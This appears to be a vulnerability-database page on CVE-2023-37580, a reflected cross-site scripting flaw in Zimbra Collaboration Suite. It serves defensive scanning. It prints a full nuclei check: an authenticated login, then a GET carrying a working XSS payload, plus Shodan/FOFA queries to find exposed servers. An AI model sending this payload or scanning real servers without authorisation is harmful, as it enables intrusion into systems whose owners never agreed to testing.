HexBrain

Browse / CVEs / CVE-2023-37580

CVE-2023-37580· zimbra / zimbra· CWE-79

Zimbra Collaboration Suite (ZCS) v.8.8.15 - Cross-Site Scripting

Exploited in the wild. Listed by CISA on 2023-07-27; known to be used by ransomware.

mediumseverity
6.1CVSS score
49.1%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it

Zimbra Collaboration (ZCS) 8 before 8.8.15 Patch 41 allows XSS in the Zimbra Classic Web Client.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patches or upgrade to a non-vulnerable version of Zimbra Collaboration Suite (ZCS).

How to confirm it

Send: POST /zimbra/ ; GET /m/momoveto?st="><img%20src=x%20onerror=alert(document.domain)>
Positive when: contains in body_2 "<img src=x onerror=alert(document.domain)>" and "id=\"zMoveForm\"" AND contains in header_2 "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-37580 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2023-37580

info:
  name: Zimbra Collaboration Suite (ZCS) v.8.8.15 - Cross-Site Scripting
  author: ritikchaddha
  severity: medium
  description: |
    Zimbra Collaboration (ZCS) 8 before 8.8.15 Patch 41 allows XSS in the Zimbra Classic Web Client.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patches or upgrade to a non-vulnerable version of Zimbra Collaboration Suite (ZCS).
  reference:
    - https://github.com/Zimbra/zm-web-client/pull/827
    - https://blog.zimbra.com/2023/07/security-update-for-zimbra-collaboration-suite-version-8-8-15/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-37580
    - https://wiki.zimbra.com/wiki/Security_Center
    - https://wiki.zimbra.com/wiki/Zimbra_Responsible_Disclosure_Policy
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-37580
    cwe-id: CWE-79
    epss-score: 0.49083
    epss-percentile: 0.98892
    cpe: cpe:2.3:a:zimbra:zimbra:*:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: zimbra
    product: zimbra
    shodan-query:
      - http.favicon.hash:475145467
      - http.favicon.hash:"475145467"
    fofa-query: icon_hash="475145467"
  tags: cve2023,cve,zimbra,xss,authenticated,kev,vkev,vuln

http:
  - raw:
      - |
        POST /zimbra/ HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        loginOp=login&username={{username}}&password={{password}}&client=mobile
      - |
        GET /m/momoveto?st="><img%20src=x%20onerror=alert(document.domain)> HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body_2
        words:
          - '<img src=x onerror=alert(document.domain)>'
          - 'id="zMoveForm"'
        condition: and

      - type: word
        part: header_2
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from